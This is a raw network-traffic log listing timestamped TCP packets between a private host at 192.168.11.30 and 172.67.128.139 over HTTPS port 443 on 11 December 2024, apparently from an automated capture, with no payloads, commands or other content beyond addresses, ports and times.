Dec 11, 2024 12:29:45.769433975 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.769438028 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.769445896 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.769479036 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.769591093 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.769593000 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.769800901 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.769970894 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.770011902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.770145893 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.770149946 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.770152092 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.770370960 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.770834923 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.770837069 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.771069050 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.771759033 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.772044897 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.772047997 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.772213936 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.008105993 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.008264065 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.008272886 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.008475065 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.008479118 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.008766890 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.008836985 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.008961916 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.009552956 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.009710073 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.009715080 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.009718895 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.009886980 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.009886980 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.010612011 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.010795116 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.010795116 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.010802031 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.010804892 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.011054993 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.011514902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.011533022 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.011732101 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.011737108 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.054399967 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.244800091 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.245023012 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.245083094 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.245275021 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.245322943 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.245781898 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.246210098 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.246438980 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.246611118 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.246614933 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.246622086 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.246740103 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.246742964 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.246790886 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.247495890 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.247554064 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.247713089 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.247716904 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.248487949 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.248512030 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.248639107 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.248642921 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.248792887 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.249326944 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.249530077 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.249700069 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.249855995 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.250219107 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.250458956 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.250464916 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.304327965 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.482593060 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.482820034 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.482887983 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.483093977 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.483100891 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.483264923 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.483474970 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.483709097 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.484083891 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.484266996 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.484313011 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.489469051 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.489690065 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.489865065 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.490022898 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.490030050 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.490194082 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.490398884 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.490679979 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.491170883 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.491336107 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.491339922 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.491384029 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.491386890 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.491507053 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.492230892 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.492441893 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.492444992 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.492480993 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.492636919 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.492643118 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.492718935 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.493278027 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.493330956 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.493464947 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.493475914 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.493485928 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.494076014 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.494116068 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.494292974 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.494302988 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.494333029 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.495049000 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.495296001 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.495306015 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.495502949 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.722031116 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.722034931 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.722095966 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.722276926 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.722285986 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.722326040 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.722440958 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.723846912 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.723855972 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.724016905 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.724117994 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.724121094 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.724493980 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.725800037 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.725807905 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.725939989 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.725980043 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.726037979 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.726037979 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.726037979 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.726041079 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.726126909 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.727768898 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.727792025 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.728126049 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.728126049 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.728132010 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.729723930 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.729731083 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.729937077 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.729939938 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.730072975 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.730240107 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.733247995 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.958534002 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.958683968 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.958746910 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.958750010 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.960325956 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.960361958 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.960709095 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.960709095 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.960709095 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.960711956 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.960900068 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.962403059 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.962412119 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.962618113 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.962618113 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.962618113 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.962622881 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.962716103 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.962765932 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.964297056 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.964306116 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.964494944 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.964494944 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.964498043 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.964541912 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.964593887 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.965310097 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.965428114 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.965517998 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.965519905 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.965567112 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.965616941 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.967382908 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.967394114 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.967539072 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.967542887 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.967588902 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.967638969 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.967688084 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.969986916 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.969995975 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.970104933 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.970149040 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.970149040 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.970153093 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:46.970196962 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.970298052 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.970345974 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.970345974 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.987472057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:46.994762897 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.197801113 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.197827101 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.197999001 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.198044062 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.198048115 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.198123932 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.198271990 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.199688911 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.199697971 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.199867964 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.199929953 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.199929953 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.199933052 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.199964046 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.200062037 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.201553106 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.201577902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.201699018 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.201699018 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.201793909 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.201793909 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.201797009 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.201847076 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.201940060 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.203486919 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.203495979 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.203763008 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.203768015 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.203921080 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.205523014 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.205530882 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.205703020 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.205703020 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.205753088 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.205753088 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.205753088 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.205756903 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.205882072 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.206645966 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.206830025 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.206886053 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.206890106 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.207952023 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.209192991 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.209202051 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.209351063 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.209420919 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.209424019 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.209470034 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.209470034 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.211275101 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.211286068 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.211440086 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.211440086 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.211440086 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.211446047 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.211601973 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.212073088 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.213061094 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.213195086 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.213217974 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.213217974 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.213278055 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.213367939 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.213367939 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.213371992 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.213417053 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.227452993 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.436270952 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.436280012 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.436593056 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.436599970 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.436640024 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.436744928 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.438118935 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.438127041 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.438299894 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.438299894 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.438307047 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.438338041 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.438442945 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.440066099 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.440073967 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.440164089 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.440258026 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.440263033 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.440357924 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.440444946 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.442054033 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.442061901 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.442223072 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.442311049 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.442315102 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.442580938 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.444094896 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.444103956 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.444295883 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.444300890 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.444371939 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.444423914 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.446393013 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.446399927 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.446562052 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.446562052 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.446611881 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.446614981 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.446644068 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.446758986 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.446876049 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.446878910 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.446997881 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.449224949 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.449234009 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.449860096 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.449865103 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.450040102 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.450495958 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.451123953 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.451132059 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.451334000 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.451405048 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.451407909 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.451524019 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.452086926 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.452224016 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.452224016 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.452272892 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.452275991 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.454469919 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.454478025 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.454605103 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.454611063 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.454705954 CET	49756	443	192.168.11.30	172.67.128.139
